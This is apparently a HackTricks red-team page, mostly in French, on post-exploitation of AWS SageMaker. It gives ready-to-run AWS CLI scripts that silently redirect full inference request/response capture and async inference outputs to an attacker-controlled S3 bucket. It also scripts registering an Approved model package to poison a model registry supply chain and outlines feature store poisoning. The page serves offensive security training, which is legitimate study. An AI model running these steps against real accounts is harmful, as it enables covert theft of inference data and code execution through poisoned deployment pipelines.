AWS - SageMaker Post-Exploitation

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Siphonnage des données d'un endpoint SageMaker via UpdateEndpoint DataCaptureConfig

Exploiter la gestion des endpoints SageMaker pour activer la capture complĂšte des requĂȘtes/rĂ©ponses vers un bucket S3 contrĂŽlĂ© par l'attaquant, sans toucher au modĂšle ni au container. Utilise une mise Ă  jour rolling Ă  zĂ©ro ou faible temps d'arrĂȘt et nĂ©cessite uniquement les permissions de gestion d'endpoint.

Exigences

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: s3:CreateBucket (ou utiliser un bucket existant dans le mĂȘme compte)
  • Optionnel (si utilisation de SSE‑KMS): kms:Encrypt sur la CMK choisie
  • Cible : un endpoint InService temps rĂ©el existant dans le mĂȘme compte/rĂ©gion

Étapes

  1. Identifier un endpoint InService et récupérer les variants de production actuels
bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
  1. Préparer la destination S3 de l'attaquant pour les captures
bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
  1. CrĂ©ez un nouvel EndpointConfig qui conserve les mĂȘmes variants mais active DataCapture vers le bucket de l'attaquant

Note : Utilisez des types de contenu explicites qui satisfont la validation de la CLI.

bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
  1. Appliquer la nouvelle configuration avec une mise Ă  jour progressive (temps d'arrĂȘt minimal / nul)
bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Générer au moins un appel d'inférence (optionnel si du trafic en direct est présent)
bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
  1. Valider les captures dans le S3 de l'attaquant
bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize

Impact

  • Exfiltration complĂšte des payloads de requĂȘtes et de rĂ©ponses d'infĂ©rence en temps rĂ©el (et des mĂ©tadonnĂ©es) depuis l'endpoint ciblĂ© vers un bucket S3 contrĂŽlĂ© par l'attaquant.
  • Aucun changement Ă  l'image model/container et seulement des modifications au niveau endpoint, permettant une voie de vol de donnĂ©es discrĂšte avec une perturbation opĂ©rationnelle minimale.

SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

Abuser de la gestion des endpoints pour rediriger les sorties d'inférence asynchrone vers un bucket S3 contrÎlé par l'attaquant en clonant l'EndpointConfig actuel et en configurant AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.

Requirements

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: PossibilitĂ© d'Ă©crire dans le bucket S3 contrĂŽlĂ© par l'attaquant (via le model execution role ou une policy de bucket permissive)
  • Target: An InService endpoint where asynchronous invocations are (or will be) used

Steps

  1. Récupérer les ProductionVariants actuels depuis l'endpoint ciblé
bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
  1. Créez un attacker bucket (assurez-vous que le rÎle d'exécution du modÚle peut PutObject sur celui-ci)
bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
  1. Clone EndpointConfig et hijack les sorties AsyncInference vers l'attacker bucket
bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Déclencher une async invocation et vérifier que les objets sont déposés dans le S3 de l'attaquant
bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true

Impact

  • Redirige les rĂ©sultats d'infĂ©rence asynchrone (et les corps d'erreur) vers un S3 contrĂŽlĂ© par l'attaquant, permettant l'exfiltration clandestine des prĂ©dictions et des entrĂ©es prĂ©/post-traitĂ©es potentiellement sensibles produites par le conteneur, sans modifier le code ou l'image du modĂšle et avec un temps d'arrĂȘt minimal/aucun.

SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

Si un attaquant peut exĂ©cuter CreateModelPackage sur un SageMaker Model Package Group ciblĂ©, il peut enregistrer une nouvelle version du modĂšle pointant vers une image de conteneur contrĂŽlĂ©e par l'attaquant et la marquer immĂ©diatement comme Approved. De nombreux pipelines CI/CD dĂ©ploient automatiquement les versions de modĂšle Approved vers des endpoints ou des training jobs, ce qui entraĂźne l'exĂ©cution de code malveillant sous les rĂŽles d'exĂ©cution du service. L'exposition inter-comptes peut ĂȘtre amplifiĂ©e par une politique de ressource ModelPackageGroup permissive.

Requirements

  • IAM (minimum to poison an existing group): sagemaker:CreateModelPackage on the target ModelPackageGroup
  • Optional (to create a group if one doesn’t exist): sagemaker:CreateModelPackageGroup
  • S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
  • Target: A Model Package Group that downstream automation watches for Approved versions

Steps

  1. Set region and create/find a target Model Package Group
bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
  1. Préparer des données de modÚle factices dans S3
bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
  1. Enregistrer une version Approved d’un model package malveillante (ici bĂ©nigne) faisant rĂ©fĂ©rence Ă  une image publique AWS DLC
bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
  1. Vérifier que la nouvelle version approuvée existe
bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table

Impact

  • Empoisonner le Model Registry avec une version Approved qui rĂ©fĂ©rence du code contrĂŽlĂ© par l'attaquant. Les pipelines qui dĂ©ploient automatiquement les modĂšles Approved peuvent pull et exĂ©cuter l'image de l'attaquant, entraĂźnant une exĂ©cution de code avec les rĂŽles endpoint/training.
  • Avec une politique de ressource permissive sur ModelPackageGroup (PutModelPackageGroupPolicy), cet abus peut ĂȘtre dĂ©clenchĂ© cross-account.

Feature store poisoning

Abuser de sagemaker:PutRecord sur un Feature Group avec OnlineStore activé pour écraser des valeurs de features en direct consommées par l'inference en ligne. Combiné avec sagemaker:GetRecord, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accÚs aux modÚles ou aux endpoints.

{{#ref}} feature-store-poisoning.md {{/ref}}

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks